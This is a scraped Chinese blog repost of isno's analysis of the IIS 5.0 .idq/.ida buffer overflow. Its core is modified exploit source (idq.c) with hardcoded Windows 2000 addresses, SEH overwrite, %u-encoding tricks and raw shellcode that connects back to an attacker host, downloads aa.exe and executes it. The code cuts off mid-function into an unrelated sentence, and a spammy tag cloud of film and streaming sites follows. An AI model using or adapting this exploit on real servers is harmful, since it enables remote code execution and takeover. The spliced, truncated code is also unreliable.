对.idq/.ida溢出攻击的分析(IIS)

  原创:isno(isno) 来源: 对.idq/.ida溢出攻击的分析 by isno(isno@xfocus.org) IIS的.idq/.ida映射的溢出漏洞已经公布了好久了,但由于利用这个漏洞有 比较大的难度,所以可用的攻击程序一直也没弄出来。甚至连发现这个漏洞的 eEye也没做出攻击程序来,由于发送的内容被转换成了宽字符,所以覆盖用的 溢出地址比较难以控制,按照eEye的办法,是在shellcode前面放上很多NOP这样 就把shellcode推向了0x004x00xx的地址,就可以用xx4x这样的串来覆盖ret,这 个串被扩展为xx004x00以后正好跳转到shellcode的位置。这种方法虽然理论上 行的通,但是实际上问题非常多,可以控制跳转却无法执行代码,而且不同的机 器这个0x004x00xx都不一样,这样就很难做出通用性比较好的exploit。 昨天终于看到公布了可用的攻击程序,一开始没仔细看还以为是骗人的。后 来用softice跟了一下,又请教了一下袁哥才搞明白。这个exploit写得很不错, 用巧妙的方法避开来被扩展成宽字符,可以随意控制跳转地址,利用他的方法可 以很轻松的改写出更完善的exploit。 这个程序的shellcode比较简单,只是连到指定主机的指定端口去接受数 据,然后把它存为aa.exe,然后运行aa.exe。但它和以前的对付.htr溢出的那个 iishack不一样,它不能主动请求数据,而只能等待那边的主机发送数据,所以 你不能用它来下载指定的程序,而必须由攻击端的攻击程序来开个进程等待发送 数据到被攻击的主机。 我把这个程序稍微改了一下,使它可以攻击中文版IIS5。因为过几天要考 试,我也没有时间再写个新程序了,只有等考完后在弄。下面就是我改良过 的.idq exploit程序,作了一些比较详细的注解: ——————————-idq.c————————————— /* IIS5.0 .idq overrun remote exploit Programmed by hsj : 01.06.21 code flow: overrun -> jmp or call ebx -> jmp 8 -> check shellcode addr and jump to there -> shellcode -> make back channel -> download & exec code */ /* Modified by isno 对中文版WIN2k + IIS 5.0 + SP0攻击成功! 在RedHat6.2上编译 */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define RET 0x77e4ac97 /* jmp or call ebx */ /* 这是中文版WIN2K(没有安装SP)中jmp ebx的地址*/ #define GMHANDLEA 0x77e756db /* Address of GetModuleHandleA */ #define GPADDRESS 0x77e7564b /* Address of GetProcAddress */ /*中文版GetModuleHandleA和GetProcAddress的地址*/ /*这两个API的地址固定了,这样通用性不好,其实可以用shellcode来搜索*/ #define GMHANDLEA_OFFSET 24 /*GetModuleHandleA的地址在shellcode中的偏移位置*/ #define GPADDRESS_OFFSET 61 /*同上*/ #define OFFSET 234 /* exception handler offset */ /* 作者选择了覆盖SEH,这样可以避免覆盖掉某些形参而引起的错误, 但根据我的测试,覆盖RET也是一样的 */ #define NOP 0x41 #define MASKING 1 #if MASKING #define PORTMASK 0x4141 #define ADDRMASK 0x41414141 #define PORTMASK_OFFSET 128 #define ADDRMASK_OFFSET 133 #endif /*做了一些编码,以免地址或端口中还有\0字节而截断shellcode*/ #define PORT 555 /*shellcode要连接的端口,不要用80,因为80一般都被占用了*/ #define ADDR “111.111.111.111” /* !!!注意:上面这个地方是必须要更改的地方!!! 这是你发起攻击的主机地址,就是你运行攻击程序的那台主机。 */ #define PORT_OFFSET 115 #define ADDR_OFFSET 120 /*都是一些偏移量*/ unsigned char shellcode[]= “\x5B\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x33\xC9\x41\x41\x33\xC0” “\x51\x53\x83\xC3\x06\x88\x03\xB8\xDD\xCC\xBB\xAA\xFF\xD0\x59\x50” “\x43\xE2\xEB\x33\xED\x8B\xF3\x5F\x33\xC0\x80\x3B\x2E\x75\x1E\x88” “\x03\x83\xFD\x04\x75\x04\x8B\x7C\x24\x10\x56\x57\xB8\xDD\xCC\xBB” “\xAA\xFF\xD0\x50\x8D\x73\x01\x45\x83\xFD\x08\x74\x03\x43\xEB\xD8” “\x8D\x74\x24\x20\x33\xC0\x50\x40\x50\x40\x50\x8B\x46\xFC\xFF\xD0” “\x8B\xF8\x33\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66” “\xC7\x46\x02\xBB\xAA\xC7\x46\x04\x44\x33\x22\x11” #if MASKING “\x66\x81\x76\x02\x41\x41\x81\x76\x04\x41\x41\x41\x41” #endif “\x8B\x46\xF8\xFF\xD0\x33\xC0” “\xC7\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07” “\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\x8B\x46\xEC\xFF\xD0” “\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57\x8B” “\x46\xF4\xFF\xD0\x85\xC0\x7E\x0E\x50\x8D\x4E\x08\x51\x53\x8B\x46” “\xE8\xFF\xD0\x90\xEB\xDC\x53\x8B\x46\xE4\xFF\xD0\x57\x8B\x46\xF0” “\xFF\xD0\x33\xC0\x50\x56\x56\x8B\x46\xE0\xFF\xD0\x33\xC0\xFF\xD0”; /*shellcode实现连接到攻击端并下载程序的功能,这个程序必须在攻击端主机上*/ unsigned char storage[]= “\xEB\x02” “\xEB\x4E” “\xE8\xF9\xFF\xFF\xFF” “msvcrt.ws2_32.socket.connect.recv.closesocket.” “_open._write._close._execl.”; /*这是前面的shellcode用来跳到后面并寻址字符串*/ unsigned char forwardjump[]= “%u08eb”; /*这是覆盖异常结构的jmp 08h,用来跳到后面寻址shellcode的那段代码*/ /* 作者在前面加了一个%u符号,这样就可以免于被扩展成宽字符,这方法 太妙了!至于IIS是这样处理%u的,可以参见bbs.nsfocus.com上袁哥反汇编 的代码。后面的返回地址和跳转shellcode的代码也作了同样的处理。 */ unsigned char jump_to_shell[]= “%uC033%uB866%u031F%u0340%u8BD8%u8B03” “%u6840%uDB33%u30B3%uC303%uE0FF”; /* 跳转到shellcode去,我不一句句的解释了,如果有兴趣可以自己看, 注意每两个字节都是反的,,%uC033在转换后变成了\x33\xC0。 */ unsigned int resolve(char *name) { struct hostent *he; unsigned int ip; if((ip=inet_addr(name))==(-1)) { if((he=gethostbyname(name))==0) return 0; memcpy(&ip,he->h_addr,4); } return ip; } /*域名->IP*/ int make_connection(char *address,int port) { struct sockaddr_in server,target; int s,i,bf; fd_set wd; struct timeval tv; s = socket(AF_INET,SOCK_STREAM,0); if(s而在于当时的那份心情。可是旅行的彼时那刻我的心情一直是好的吗?

对.idq/.ida溢出攻击的分析(IIS)

相关文章:

  • 【算法】直接插入排序C语言实现
  • 嵌入式 FAAC1.28 在海思HI3518C/HI3518A平台linux中的编译优化
  • Android 动画animation 深入分析
  • 你感兴趣的文章:

    标签云:

    亚洲高清电影在线, 免费高清电影, 八戒影院夜间, 八戒电影最新大片, 出轨在线电影, 午夜电影院, 在线影院a1166, 在线电影院, 在线观看美剧下载, 日本爱情电影, 日韩高清电影在线, 电影天堂网, 直播盒子app, 聚合直播, 高清美剧, 高清美剧在线观看 EhViewer-E站, E站, E站绿色版, qqmulu.com, qq目录网, qq网站目录,